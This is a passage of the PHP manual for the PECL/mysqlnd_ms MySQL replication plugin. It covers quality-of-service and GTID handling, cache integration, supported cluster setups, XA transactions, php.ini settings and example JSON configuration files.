If eventual consistency is combined with an maximum age (slave lag), the plugin selects candidates for statement execution and load balancing for each statement as follows. If the statement is a write all masters are considered as candidates. Slaves are not checked and not considered as candidates. If the statement is a read, the plugin transparently executes SHOW SLAVE STATUS on every slaves connection. It will loop over all connections, send the statement and then start checking for results. Usually, this is slightly faster than a loop over all connections in which for every connection a query is send and the plugin waits for its results. A slave is considered a candidate if SHOW SLAVE STATUS reports Slave_IO_Running=Yes, Slave_SQL_Running=Yes and Seconds_Behind_Master is less or equal than the allowed maximum age. In case of an SQL error, the plugin emits a warning but does not set an error on the connection. The error is not set to make it possible to use the plugin as a drop-in.

If session consistency is combined with a global transaction ID, the plugin executes the SQL statement set with the fetch_last_gtid entry of the global_transaction_id_injection section from the plugins configuration file. Further details are identical to those described above.

In version 1.2.0 no additional optimizations are done for executing background queries. Future versions may contain optimizations, depending on user demand.

If no parameters and options are set, no SQL is needed. In that case, the plugin consider all nodes of the type shown below.

  • eventual consistency, no further options set: all masters, all slaves
  • session consistency, no further options set: all masters
  • strong consistency (no options allowed): all masters

Throttling

The quality of service filter can be combined with Global transaction IDs to throttle clients. Throttling does reduce the write load on the master by slowing down clients. If session consistency is requested and global transactions idenentifier are used to check the status of a slave, the check can be done in two ways. By default a slave is checked and skipped immediately if it does not match the criteria for session consistency. Alternatively, the plugin can wait for a slave to catch up to the master until session consistency is possible. To enable the throttling, you have to set wait_for_gtid_timeout configuration option.

User Contributed Notes

There are no user contributed notes for this page.


Global transaction IDs

Note: Version requirement

Client side global transaction ID injection exists as of mysqlnd_ms version 1.2.0-alpha. Transaction boundaries are detected by monitoring API calls. This is possible as of PHP 5.4.0. Please, see also Transaction handling.

As of MySQL 5.6.5-m8 the MySQL server features built-in global transaction identifiers. The MySQL built-in global transaction ID feature is supported by PECL/mysqlnd_ms 1.3.0-alpha or later. Neither are client-side transaction boundary monitoring nor any setup activities required if using the server feature.

Please note, all MySQL 5.6 production versions do not provide clients with enough information to use GTIDs for enforcing session consistency. In the worst case, the plugin will choose the master only.

Idea and client-side emulation

PECL/mysqlnd_ms can do client-side transparent global transaction ID injection. In its most basic form, a global transaction identifier is a counter which is incremented for every transaction executed on the master. The counter is held in a table on the master. Slaves replicate the counter table.

In case of a master failure a database administrator can easily identify the most recent slave for promiting it as a new master. The most recent slave has the highest transaction identifier.

Application developers can ask the plugin for the global transaction identifier (GTID) for their last successful write operation. The plugin will return an identifier that refers to an transaction no older than that of the clients last write operation. Then, the GTID can be passed as a parameter to the quality of service (QoS) filter as an option for session consistency. Session consistency ensures read your writes. The filter ensures that all reads are either directed to a master or a slave which has replicated the write referenced by the GTID.

When injection is done

The plugin transparently maintains the GTID table on the master. In autocommit mode the plugin injects an UPDATE statement before executing the users statement for every master use. In manual transaction mode, the injection is done before the application calls commit() to close a transaction. The configuration option report_error of the GTID section in the plugins configuration file is used to control whether a failed injection shall abort the current operation or be ignored silently (default).

Please note, the PHP version requirements for transaction boundary monitoring and their limits.

Limitations

Client-side global transaction ID injection has shortcomings. The potential issues are not specific to PECL/mysqlnd_ms but are rather of general nature.

  • Global transaction ID tables must be deployed on all masters and replicas.
  • The GTID can have holes. Only PHP clients using the plugin will maintain the table. Other clients will not.
  • Client-side transaction boundary detection is based on API calls only.
  • Client-side transaction boundary detection does not take implicit commit into account. Some MySQL SQL statements cause an implicit commit and cannot be rolled back.

Using server-side global transaction identifier

Starting with PECL/mysqlnd_ms 1.3.0-alpha the MySQL 5.6.5-m8 or newer built-in global transaction identifier feature is supported. Use of the server feature lifts all of the above listed limitations. Please, see the MySQL Reference Manual for limitations and preconditions for using server built-in global transaction identifiers.

Whether to use the client-side emulation or the server built-in functionality is a question not directly related to the plugin, thus it is not discussed in depth. There are no plans to remove the client-side emulation and you can continue to use it, if the server-side solution is no option. This may be the case in heterogenous environments with old MySQL server or, if any of the server-side solution limitations is not acceptable.

From an applications perspective there is hardly a difference in using one or the other approach. The following properties differ.

  • Client-side emulation, as shown in the manual, is using an easy to compare sequence number for global transactions. Multi-master is not handled to keep the manual examples easy. Server-side built-in feature is using a combination of a server identifier and a sequence number as a global transaction identifier. Comparison cannot use numeric algebra. Instead a SQL function must be used. Please, see the MySQL Reference Manual for details. Server-side built-in feature of MySQL 5.6 cannot be used to ensure session consistency under all circumstances. Do not use it for the quality-of-service feature. Here is a simple example why it will not give reliable results. There are more edge cases that cannot be covered with limited functionality exported by the server. Currently, clients can ask a MySQL replication master for a list of all executed global transaction IDs only. If a slave is configured not to replicate all transactions, for example, because replication filters are set, then the slave will never show the same set of executed global transaction IDs. Albeit the slave may have replicated a clients writes and it may be a candidate for a consistent read, it will never be considered by the plugin. Upon write the plugin learns from the master that the servers complete transaction history consists of GTID=1..3. There is no way for the plugin to ask for the GTID of the write transaction itself, say GTID=3. Assume that a slave does not replicate the transactions GTID=1..2 but only GTID=3 because of a replication feature. Then, the slaves transaction history is GTID=3. However, the plugin tries to find a node which has a transaction history of GITD=1...3. Albeit the slave has replicated the clients write and session consistency may be achieved when reading from the slave, it will not be considered by the plugin. This is not a fault of the plugin implementation but a feature gap on the server side. Please note, this is a trivial case to illustrate the issue there are other issues. In sum you are asked not to attempt using MySQL 5.6 built-in GTIDs for enforcing session consistency. Sooner or later the load balancing will stop working properly and the plugin will direct all session consistency requests to the master.
  • Plugin global transaction ID statistics are only available with client-side emulation because they monitor the emulation.

Note: Global transaction identifiers in distributed systems

Global transaction identifiers can serve multiple purposes in the context of distributed systems, such as a database cluster. Global transaction identifiers can be used for, for example, system wide identification of transactions, global ordering of transactions, heartbeat mechanism and for checking the replication status of replicas. PECL/mysqlnd_ms, a clientside driver based software, does focus on using GTIDs for tasks that can be handled at the client, such as checking the replication status of replicas for asynchronous replication setups.

User Contributed Notes

There are no user contributed notes for this page.


Cache integration

Note: Version requirement

The feature requires use of PECL/mysqlnd_ms 1.3.0-beta or later, and PECL/mysqlnd_qc 1.1.0-alpha or newer. PECL/mysqlnd_ms must be compiled to support the feature. PHP 5.4.0 or newer is required.

Note: Setup: extension load order

PECL/mysqlnd_ms must be loaded before PECL/mysqlnd_qc, when using shared extensions.

Note: Feature stability

The cache integration is of beta quality.

Note: Suitable MySQL clusters

The feature is targeted for use with MySQL Replication (primary copy). Currently, no other kinds of MySQL clusters are supported. Users of such cluster must control PECL/mysqlnd_qc manually if they are interested in client-side query caching.

Support for MySQL replication clusters (asynchronous primary copy) is the main focus of PECL/mysqlnd_ms. The slaves of a MySQL replication cluster may or may not reflect the latest updates from the master. Slaves are asynchronous and can lag behind the master. A read from a slave is eventual consistent from a cluster-wide perspective.

The same level of consistency is offered by a local cache using time-to-live (TTL) invalidation strategy. Current data or stale data may be served. Eventually, data searched for in the cache is not available and the source of the cache needs to be accessed.

Given that both a MySQL Replication slave (asynchronous secondary) and a local TTL-driven cache deliver the same level of service it is possible to transparently replace a remote database access with a local cache access to gain better possibility.

As of PECL/mysqlnd_ms 1.3.0-beta the plugin is capable of transparently controlling PECL/mysqlnd_ms 1.1.0-alpha or newer to cache a read-only query if explicitly allowed by setting an appropriate quality of service through mysqlnd_ms_set_qos(). P lease, see the quickstart for a code example. Both plugins must be installed, PECL/mysqlnd_ms must be compiled to support the cache feature and PHP 5.4.0 or newer has to be used.

Applications have full control of cache usage and can request fresh data at any time, if need be. Thec ache usage can be enabled and disabled time during the execution of a script. The cache will be used if mysqlnd_ms_set_qos() sets the quality of service to eventual consistency and enables cache usage. Cache usage is disabled by requesting higher consistency levels, for example, session consistency (read your writes). Once the quality of service has been relaxed to eventual consistency the cache can be used again.

If caching is enabled for a read-only statement, PECL/mysqlnd_ms may inject SQL hints to control caching by PECL/mysqlnd_qc. It may modify the SQL statement it got from the application. Subsequent SQL processors are supposed to ignore the SQL hints. A SQL hint is a SQL comment. Comments must not be ignored, for example, by the database server.

The TTL of a cache entry is computed on a per statement basis. Applications set an maximum age for the data they want to retrieve using mysqlnd_ms_set_qos(). The age sets an approximate upper limit of how many seconds the data returned may lag behind the master.

The following logic is used to compute the actual TTL if caching is enabled. The logic takes the estimated slave lag into account for choosing a TTL. If, for example, there are two slaves lagging 5 and 10 seconds behind and the maximum age allowed is 60 seconds, the TTL is set to 50 seconds. Please note, the age setting is no more than an estimated guess.

  • Check whether the statement is read-only. If not, don't cache.
  • If caching is enabled, check the slave lag of all configured slaves. Establish slave connections if none exist so far and lazy connections are used.
  • Send SHOW SLAVE STATUS to all slaves. Do not wait for the first slave to reply before sending to the second slave. Clients often wait long for replies, thus we send out all requests in a burst before fetching in a second stage.
  • Loop over all slaves. For every slave wait for its reply. Do not start checking another slave before the currently waited for slave has replied. Check for Slave_IO_Running=Yes and Slave_SQL_Running=Yes. If both conditions hold true, fetch the value of Seconds_Behind_Master. In case of any errors or if conditions fail, set an error on the slave connection. Skip any such slave connection for the rest of connection filtering.
  • Search for the maximum value of Seconds_Behind_Master from all slaves that passed the previous conditions. Subtract the value from the maximum age provided by the user with mysqlnd_ms_set_qos(). Use the result as a TTL.
  • The filtering may sort out all slaves. If so, the maximum age is used as TTL, because the maximum lag found equals zero. It is perfectly valid to sort out all slaves. In the following it is up to subsequent filter to decide what to do. The built-in load balancing filter will pick the master.
  • Inject the appropriate SQL hints to enable caching by PECL/mysqlnd_qc.
  • Proceed with the connection filtering, e.g. apply load balancing rules to pick a slave.
  • PECL/mysqlnd_qc is loaded after PECL/mysqlnd_ms by PHP. Thus, it will see all query modifications of PECL/mysqlnd_ms and cache the query if instructed to do so.

The algorithm may seem expensive. SHOW SLAVE STATUS is a very fast operation. Given a sufficient number of requests and cache hits per second the cost of checking the slaves lag can easily outweight the costs of the cache decision.

Suggestions on a better algorithm are always welcome.

User Contributed Notes

There are no user contributed notes for this page.


Supported clusters

Any application using any kind of MySQL cluster is faced with the same tasks:

  • Identify nodes capable of executing a given statement with the required service level
  • Load balance requests within the list of candidates
  • Automatic fail over within candidates, if needed

The plugin is optimized for fulfilling these tasks in the context of a classical asynchronous MySQL replication cluster consisting of a single master and many slaves (primary copy). When using classical, asynchronous MySQL replication all of the above listed tasks need to be mastered at the client side.

Other types of MySQL cluster may have lower requirements on the application side. For example, if all nodes in the cluster can answer read and write requests, no read-write splitting needs to be done (multi-master, update-all). If all nodes in the cluster are synchronous, they automatically provide the highest possible quality of service which makes choosing a node easier. In this case, the plugin may serve the application after some reconfiguration to disable certain features, such as built-in read-write splitting.

Note: Documentation focus

The documentation focusses describing the use of the plugin with classical asynchronous MySQL replication clusters (primary copy). Support for this kind of cluster has been the original development goal. Use of other clusters is briefly described below. Please note, that this is still work in progress.

Primary copy (MySQL Replication)

This is the primary use case of the plugin. Follow the hints given in the descriptions of each feature.

  • Configure one master and one or more slaves. Server configuration details are given in the setup section.
  • Use random load balancing policy together with the sticky flag.
  • If you do not plan to use the service level API calls, add the master on write flag.
  • Please, make yourself aware of the properties of automatic failover before adding a failover directive.
  • Consider the use of trx_stickiness to execute transactions on the primary only. Please, read carefully how it works before you rely on it.

Example #1 Enabling the plugin (php.ini)

mysqlnd_ms.enable=1
mysqlnd_ms.config_file=/path/to/mysqlnd_ms_plugin.ini

Example #2 Basic plugin configuration (mysqlnd_ms_plugin.ini) for MySQL Replication

{
  "myapp": {
    "master": {
      "master_1": {
        "host": "localhost",
        "socket": "\/tmp\/mysql57.sock"
      }
    },
    "slave": {
      "slave_0": {
        "host": "127.0.0.1",
        "port": 3308
      },
      "slave_1": {
        "host": "192.168.2.28",
        "port": 3306
      }
    },
    "filters": {
      "random": {
        "sticky": "1"
      }
    }
  }
}

Primary copy with multi primaries (MMM - MySQL Multi Master)

MySQL Replication allows you to create cluster topologies with multiple masters (primaries). Write-write conflicts are not handled by the replication system. This is no update anywhere setup. Thus, data must be partitioned manually and clients must redirected in accordance to the partitioning rules. The recommended setup is equal to the sharding setup below.

Manual sharding, possibly combined with primary copy and multiple primaries

Use SQL hints and the node group filter for clusters that use data partitioning but leave query redirection to the client. The example configuration shows a multi master setup with two shards.

Example #3 Multiple primaries - multi master (php.ini)

mysqlnd_ms.enable=1
mysqlnd_ms.config_file=/path/to/mysqlnd_ms_plugin.ini
mysqlnd_ms.multi_master=1

Example #4 Primary copy with multiple primaries and paritioning

{
  "myapp": {
    "master": {
      "master_1": {
        "host": "localhost",
        "socket": "\/tmp\/mysql57.sock"
      }
      "master_2": {
        "host": "192.168.2.27",
        "socket": "3306"
      }
    },
    "slave": {
      "slave_1": {
        "host": "127.0.0.1",
        "port": 3308
      },
      "slave_2": {
        "host": "192.168.2.28",
        "port": 3306
      }
    },
    "filters": {
      "node_groups": {
        "Partition_A" : {
          "master": ["master_1"],
          "slave": ["slave_1"]
        },
        "Partition_B" : {
          "master": ["master_2"],
          "slave": ["slave_2"]
        }
      },
      "roundrobin": []
    }
  }
}

The plugin can also be used with a loose collection of unrelated shards. For such a cluster, configure masters only and disable read write splitting. The nodes of such a cluster are called masters in the plugin configuration as they accept both reads and writes for their partition.

Using synchronous update everywhere clusters such as MySQL Cluster

MySQL Cluster is a synchronous cluster solution. All cluster nodes accept read and write requests. In the context of the plugin, all nodes shall be considered as masters.

Use the load balancing and fail over features only.

  • Disable the plugins built-in read-write splitting.
  • Configure masters only.
  • Consider random once load balancing strategy, which is the plugins default. If random once is used, only masters are configured and no SQL hints are used to force using a certain node, no connection switches will happen for the duration of a web request. Thus, no special handling is required for transactions. The plugin will pick one master at the beginning of the PHP script and use it until the script terminates.
  • Do not set the quality of service. All nodes have all the data. This automatically gives you the highest possible service quality (strong consistency).
  • Do not enable client-side global transaction injection. It is neither required to help with server-side fail over nor to assist the quality of service filter choosing an appropriate node.

Disabling built-in read-write splitting.

  • Set mysqlnd_ms.disable_rw_split=1
  • Do not use SQL hints to enforce the use of slaves

Configure masters only.

  • Set mysqlnd_ms.multi_master=1.
  • Do not configure any slaves.
  • Set failover=loop_before_master in the plugins configuration file to avoid warnings about the empty slave list and to make the failover logic loop over all configured masters before emitting an error. Please, note the warnings about automatic failover given in the previous sections.

Example #5 Multiple primaries - multi master (php.ini)

mysqlnd_ms.enable=1
mysqlnd_ms.config_file=/path/to/mysqlnd_ms_plugin.ini
mysqlnd_ms.multi_master=1
mysqlnd_ms.disable_rw_split=1

Example #6 Synchronous update anywhere cluster

"myapp": {
    "master": {
      "master_1": {
        "host": "localhost",
        "socket": "\/tmp\/mysql57.sock"
      },
      "master_2": {
        "host": "192.168.2.28",
        "port": 3306
      }
    },
    "slave": {
    },
    "filters": {
      "roundrobin": {
      }
    },
    "failover": {
      "strategy": "loop_before_master",
      "remember_failed": true
    }
  }
}

If running an update everywhere cluster that has no built-in partitioning to avoid hot spots and high collision rates, consider using the node groups filter to keep updates on a frequently accessed table on one of the nodes. This may help to reduce collision rates and thus improve performance.

User Contributed Notes

There are no user contributed notes for this page.


XA/Distributed transactions

Note: Version requirement

XA related functions have been introduced in PECL/mysqlnd_ms version 1.6.0-alpha.

Note: Early adaptors wanted

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments, although early lab tests indicate reasonable quality.

Please, contact the development team if you are interested in this feature. We are looking for real life feedback to complement the feature.

Below is a list of some feature restrictions.

  • The feature is not yet compatible with the MySQL Fabric support . This limitation is soon to be lifted.

    XA transaction identifier are currently restricted to numbers. This limitation will be lifted upon request, it is a simplification used during the initial implementation.

Note: MySQL server restrictions

The XA support by the MySQL server has some restrictions. Most noteably, the servers binary log may lack changes made by XA transactions in case of certain errors. Please, see the MySQL manual for details.

XA/Distributed transactions can spawn multiple MySQL servers. Thus, they may seem like a perfect tool for sharded MySQL clusters, for example, clusters managed with MySQL Fabric. PECL/mysqlnd_ms hides most of the SQL commands to control XA transactions and performs automatic administrative tasks in cases of errors, to provide the user with a comprehensive API. Users should setup the plugin carefully and be well aware of server restrictions prior to using the feature.

Example #1 General pattern for XA transactions

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");

/* BEGIN */
mysqlnd_ms_xa_begin($mysqli, 1 /* xa id */);

/* run queries on various servers */
$mysqli->query("UPDATE some_table SET col_a = 1");
...

/* COMMIT */
mysqlnd_ms_xa_commit($link, 1);
?>

XA transactions use the two-phase commit protocol. The two-phase commit protocol is a blocking protocol. During the first phase participating servers begin a transaction and the client carries out its work. This phase is followed by a second voting phase. During voting, the servers first make a firm promise that they are ready to commit the work even in case of their possible unexpected failure. Should a server crash in this phase, it will still recall the aborted transaction after recover and wait for the client to decide on whether it shall be committed or rolled back.

Should a client that has initiated a global transaction crash after all the participating servers gave their promise to be ready to commit, then the servers must wait for a decision. The servers are not allowed to uniliterally decide on the transaction.

A client crash or disconnect from a participant, a server crash or server error during the fist phase of the protocol is uncritical. In most cases, the server will forget about the XA transaction and its work is rolled back. Additionally, the plugin tries to reach out to as many participants as it can to instruct the server to roll back the work immediately. It is not possible to disable this implicit rollback carried out by PECL/mysqlnd_ms in case of errors during the first phase of the protocol. This design decision has been made to keep the implementation simple.

An error during the second phase of the commit protocol can develop into a more severe situation. The servers will not forget about prepared but unfinished transactions in all cases. The plugin will not attempt to solve these cases immediately but waits for optional background garbage collection to ensure progress of the commit protocol. It is assumed that a solution will take significant time as it may include waiting for a participating server to recover from a crash. This time span may be longer than a developer and end user expects when trying to commit a global transaction with mysqlnd_ms_xa_commit(). Thus, the function returns with the unfinished global transaction still requiring attention. Please, be warned that at this point, it is not yet clear whether the global transaction will be committed or rolled back later on.

Errors during the second phase can be ignored, handled by yourself or solved by the build-int garbage collection logic. Ignoring them is not recommended as you may experience unfinished global transactions on your servers that block resources virtually indefinetly. Handling the errors requires knowing the participants, checking their state and issueing appropriate SQL commands on them. There are no user API calls to expose this very information. You will have to configure a state store and make the plugin record its actions in it to receive the desired facts.

Please, see the quickstart and related plugin configuration file settings for an example how to configure a state. In addition to configuring a state store, you have to setup some SQL tables. The table definitions are given in the description of the plugin configuration settings.

Setting up and configuring a state store is also a precondition for using the built-in garbage collection for XA transactions that fail during the second commit phase. Recording information about ongoing XA transactions is an unavoidable extra task. The extra task consists of updating the state store after each and every operation that changes the state of the global transaction itself (started, committed, rolled back, errors and aborts), the addition of participants (host, optionally user and password required to connect) and any changes to a participants state. Please note, depending on configuration and your security policies, these recordings may be considered sensitive. It is therefore recommended to restrict access to the state store. Unless the state store itself becomes overloaded, writing the state information may contribute noteworthy to the runtime but should overall be only a minor factor.

It is possible that the effort it takes to implement your own routines for handling XA transactions that failed during the second commit phase exceeds the benefits of using the XA feature of PECL/mysqlnd_ms in the first place. Thus, the manual focussed on using the built-on garbage collection only.

Garbage collection can be triggered manually or automatically in the background. You may want to call mysqlnd_ms_xa_gc() immediately after a commit failure to attempt to solve any failed but still open global transactions as soon as possible. You may also decide to disable the automatic background garbage collection, implement your own rule set for invoking the built-in garbage collection and trigger it when desired.

By default the plugin will start the garbage collection with a certain probability in the extensions internal RSHUTDOWN method. The request shutdown is called after your script finished. Whether the garbage collection will be triggered is determined by computing a random value between 1...1000 and comparing it with the configuration setting probability (default: 5). If the setting is greater or equal to the random value, the garbage collection will be triggered.

Once started, the garbage collection acts upon up to max_transactions_per_run (default: 100) global transactions recorded. Records include successfully finished but also unfinished XA transactions. Records for successful transactions are removed and unfinished transactions are attempted to be solved. There are no statistics that help you finding the right balance between keeping garbage collection runs short by limiting the number of transactions considered per run and preventing the garbage collection to fall behind, resulting in many records.

For each failed XA transaction the garbage collection makes max_retries (default: 5) attempts to finish it. After that PECL/mysqlnd_ms gives up. There are two possible reasons for this. Either a participating server crashed and has not become accessible again within max_retries invocations of the garbage collection, or there is a situation that the built-in garbage collection cannot cope with. Likely, the latter would be considered a bug. However, you can manually force more garbage collection runs calling mysqlnd_ms_xa_gc() with the appropriate parameter set. Should even those function runs fail to solve the situation, then the problem must be solved by an operator.

The function mysqlnd_ms_get_stats() provides some statistics on how many XA transactions have been started, committed, failed or rolled back.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Plugin configuration file (>=1.1.x)

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PHP 5.3.6 or newer. Some advanced functionality requires PHP 5.4.0 or newer.

The mysqlnd_ms replication and load balancing plugin supports all PHP applications and all available PHP MySQL extensions (mysqli, mysql, PDO_MYSQL). The PHP MySQL extension must be configured to use mysqlnd in order to be able to use the mysqlnd_ms plugin for mysqlnd.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mysqlnd_ms

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mysqlnd_ms Configure Options
Name | Default | Changeable | Changelog
mysqlnd_ms.enable | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.force_config_usage | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.ini_file | "" | PHP_INI_SYSTEM |
mysqlnd_ms.config_file | "" | PHP_INI_SYSTEM |
mysqlnd_ms.collect_statistics | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.multi_master | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.disable_rw_split | 0 | PHP_INI_SYSTEM |

Here's a short explanation of the configuration directives.

mysqlnd_ms.enable integer

Enables or disables the plugin. If disabled, the extension will not plug into mysqlnd to proxy internal mysqlnd C API calls.

mysqlnd_ms.force_config_usage integer

If enabled, the plugin checks if the host (server) parameters value of any MySQL connection attempt, matches a section name from the plugin configuration file. If not, the connection attempt is blocked.

This setting is not only useful to restrict PHP to certain servers but also to debug configuration file problems. The configuration file validity is checked at two different stages. The first check is performed when PHP begins to handle a web request. At this point the plugin reads and decodes the configuration file. Errors thrown at this early stage in an extensions life cycle may not be shown properly to the user. Thus, the plugin buffers the errors, if any, and additionally displays them when establishing a connection to MySQL. By default a buffered startup error will emit an error of type E_WARNING. If force_config_usage is set, the error type used is E_RECOVERABLE_ERROR.

Please, see also configuration file debugging notes.

mysqlnd_ms.ini_file string

Plugin specific configuration file. This setting has been renamed to mysqlnd_ms.config_file in version 1.4.0.

mysqlnd_ms.config_file string

Plugin specific configuration file. This setting superseeds mysqlnd_ms.ini_file since 1.4.0.

mysqlnd_ms.collect_statistics integer

Enables or disables the collection of statistics. The collection of statistics is disabled by default for performance reasons. Statistics are returned by the function mysqlnd_ms_get_stats().

mysqlnd_ms.multi_master integer

Enables or disables support of MySQL multi master replication setups. Please, see also supported clusters.

mysqlnd_ms.disable_rw_split integer

Enables or disables built-in read write splitting.

Controls whether load balancing and lazy connection functionality can be used independently of read write splitting. If read write splitting is disabled, only servers from the master list will be used for statement execution. All configured slave servers will be ignored.

The SQL hint MYSQLND_MS_USE_SLAVE will not be recognized. If found, the statement will be redirected to a master.

Disabling read write splitting impacts the return value of mysqlnd_ms_query_is_select(). The function will no longer propose query execution on slave servers.

Note: Multiple master servers

Setting mysqlnd_ms.multi_master=1 allows the plugin to use multiple master servers, instead of only the first master server of the master list.

Please, see also supported clusters.

User Contributed Notes

There are no user contributed notes for this page.


Plugin configuration file (>=1.1.x)

The following documentation applies to PECL/mysqlnd_ms >= 1.1.0-beta. It is not valid for prior versions. For documentation covering earlier versions, see the configuration documentation for mysqlnd_ms 1.0.x and below.

Introduction

Note: Changelog: Feature was added in PECL/mysqlnd_ms 1.1.0-beta

The below description applies to PECL/mysqlnd_ms >= 1.1.0-beta. It is not valid for prior versions.

The plugin uses its own configuration file. The configuration file holds information about the MySQL replication master server, the MySQL replication slave servers, the server pick (load balancing) policy, the failover strategy, and the use of lazy connections.

The plugin loads its configuration file at the beginning of a web request. It is then cached in memory and used for the duration of the web request. This way, there is no need to restart PHP after deploying the configuration file. Configuration file changes will become active almost instantly.

The PHP configuration directive mysqlnd_ms.config_file is used to set the plugins configuration file. Please note, that the PHP configuration directive may not be evaluated for every web request. Therefore, changing the plugins configuration file name or location may require a PHP restart. However, no restart is required to read changes if an already existing plugin configuration file is updated.

Using and parsing JSON is efficient, and using JSON makes it easier to express hierarchical data structures than the standard php.ini format.

Example #1 Converting a PHP array (hash) into JSON format

Or alternatively, a developer may be more familiar with the PHP array syntax, and prefer it. This example demonstrates how a developer might convert a PHP array to JSON.

<?php
$config = array(
  "myapp" => array(
    "master" => array(
      "master_0" => array(
        "host"   => "localhost",
        "socket" => "/tmp/mysql.sock",
      ),
    ),
    "slave" => array(),
  ),
);

file_put_contents("mysqlnd_ms.ini", json_encode($config, JSON_PRETTY_PRINT));
printf("mysqlnd_ms.ini file created...\n");
printf("Dumping file contents...\n");
printf("%s\n", str_repeat("-", 80));
echo file_get_contents("mysqlnd_ms.ini");
printf("\n%s\n", str_repeat("-", 80));
?>

The above example will output:

mysqlnd_ms.ini file created...
Dumping file contents...
--------------------------------------------------------------------------------
{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": [

        ]
    }
}
--------------------------------------------------------------------------------

A plugin configuration file consists of one or more sections. Sections are represented by the top-level object properties of the object encoded in the JSON file. Sections could also be called configuration names.

Applications reference sections by their name. Applications use section names as the host (server) parameter to the various connect methods of the mysqli, mysql and PDO_MYSQL extensions. Upon connect, the mysqlnd plugin compares the hostname with all of the section names from the plugin configuration file. If the hostname and section name match, then the plugin will load the settings for that section.

Example #2 Using section names example

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27"
            },
            "slave_1": {
                "host": "192.168.2.27",
                "port": 3306
            }
        }
    },
    "localhost": {
        "master": [
            {
                "host": "localhost",
                "socket": "\/path\/to\/mysql.sock"
            }
        ],
        "slave": [
            {
                "host": "192.168.3.24",
                "port": "3305"
            },
            {
                "host": "192.168.3.65",
                "port": "3309"
            }
        ]
    }
}
<?php
/* All of the following connections will be load balanced */
$mysqli = new mysqli("myapp", "username", "password", "database");
$pdo = new PDO('mysql:host=myapp;dbname=database', 'username', 'password');
$mysql = mysql_connect("myapp", "username", "password");

$mysqli = new mysqli("localhost", "username", "password", "database");
?>

Section names are strings. It is valid to use a section name such as 192.168.2.1, 127.0.0.1 or localhost. If, for example, an application connects to localhost and a plugin configuration section localhost exists, the semantics of the connect operation are changed. The application will no longer only use the MySQL server running on the host localhost, but the plugin will start to load balance MySQL queries following the rules from the localhost configuration section. This way you can load balance queries from an application without changing the applications source code. Please keep in mind, that such a configuration may not contribute to overall readability of your applications source code. Using section names that can be mixed up with host names should be seen as a last resort.

Each configuration section contains, at a minimum, a list of master servers and a list of slave servers. The master list is configured with the keyword master, while the slave list is configured with the slave keyword. Failing to provide a slave list will result in a fatal E_ERROR level error, although a slave list may be empty. It is possible to allow no slaves. However, this is only recommended with synchronous clusters, please see also supported clusters. The main part of the documentation focusses on the use of asynchronous MySQL replication clusters.

The master and slave server lists can be optionally indexed by symbolic names for the servers they describe. Alternatively, an array of descriptions for slave and master servers may be used.

Example #3 List of anonymous slaves

"slave": [
    {
        "host": "192.168.3.24",
        "port": "3305"
    },
    {
        "host": "192.168.3.65",
        "port": "3309"
    }
]

An anonymous server list is encoded by the JSON array type. Optionally, symbolic names may be used for indexing the slave or master servers of a server list, and done so using the JSON object type.

Example #4 Master list using symbolic names

"master": {
    "master_0": {
        "host": "localhost"
    }
}

It is recommended to index the server lists with symbolic server names. The alias names will be shown in error messages.

The order of servers is preserved and taken into account by mysqlnd_ms. If, for example, you configure round robin load balancing strategy, the first SELECT statement will be executed on the slave that appears first in the slave server list.

A configured server can be described with the host, port, socket, db, user, password and connect_flags. It is mandatory to set the database server host using the host keyword. All other settings are optional.

Example #5 Keywords to configure a server

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "db_server_host",
                "port": "db_server_port",
                "socket": "db_server_socket",
                "db": "database_resp_schema",
                "user": "user",
                "password": "password",
                "connect_flags": 0
            }
        },
        "slave": {
            "slave_0": {
                "host": "db_server_host",
                "port": "db_server_port",
                "socket": "db_server_socket"
            }
        }
    }
}

If a setting is omitted, the plugin will use the value provided by the user API call used to open a connection. Please, see the using section names example above.

The configuration file format has been changed in version 1.1.0-beta to allow for chained filters. Filters are responsible for filtering the configured list of servers to identify a server for execution of a given statement. Filters are configured with the filter keyword. Filters are executed by mysqlnd_ms in the order of their appearance. Defining filters is optional. A configuration section in the plugins configuration file does not need to have a filters entry.

Filters replace the pick[] setting from prior versions. The new random and roundrobin provide the same functionality.

Example #6 New roundrobin filter, old functionality

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.137",
                "port": "3306"
            }
        },
        "filters": {
            "roundrobin": [

            ]
        }
    }
}

The function mysqlnd_ms_set_user_pick_server() has been removed. Setting a callback is now done with the user filter. Some filters accept parameters. The user filter requires and accepts a mandatory callback parameter to set the callback previously set through the function mysqlnd_ms_set_user_pick_server().

Example #7 The user filter replaces mysqlnd_ms_set_user_pick_server()

"filters": {
    "user": {
        "callback": "pick_server"
    }
}

The validity of the configuration file is checked both when reading the configuration file and later when establishing a connection. The configuration file is read during PHP request startup. At this early stage a PHP extension may not display error messages properly. In the worst case, no error is shown and a connection attempt fails without an adequate error message. This problem has been cured in version 1.5.0.

Example #8 Common error message in case of configuration file issues (upto version 1.5.0)

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
?>

The above example will output:

Warning: mysqli::mysqli(): (mysqlnd_ms) (mysqlnd_ms) Failed to parse config file [s1.json]. Please, verify the JSON in Command line code

